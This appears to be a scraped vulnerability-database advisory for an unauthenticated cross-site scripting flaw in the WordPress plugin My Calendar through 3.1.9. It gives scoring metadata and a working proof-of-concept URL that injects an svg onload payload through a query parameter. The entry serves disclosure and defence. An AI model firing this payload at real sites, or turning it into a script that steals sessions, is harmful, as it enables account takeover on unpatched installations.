Lucene search

K
wpexploitJoe DolsonWPEX-ID:DBF334CE-C8F5-4380-B8EC-49703B386C8F
HistoryApr 30, 2019 - 12:00 a.m.

My Calendar <= 3.1.9 - Unauthenticated Cross-Site Scripting (XSS)

2019-04-3000:00:00
Joe Dolson
7

EPSS

0.001

Percentile

41.8%

Triggered via unescaped usage of URL parameters in multiple locations presented in the public view of a site.

http://www.domain.de/?rsd=%27%3E%3Csvg%2Fonload%3Dconfirm(%2FOPENBUGBOUNTY%2F)%3E

EPSS

0.001

Percentile

41.8%

Related for WPEX-ID:DBF334CE-C8F5-4380-B8EC-49703B386C8F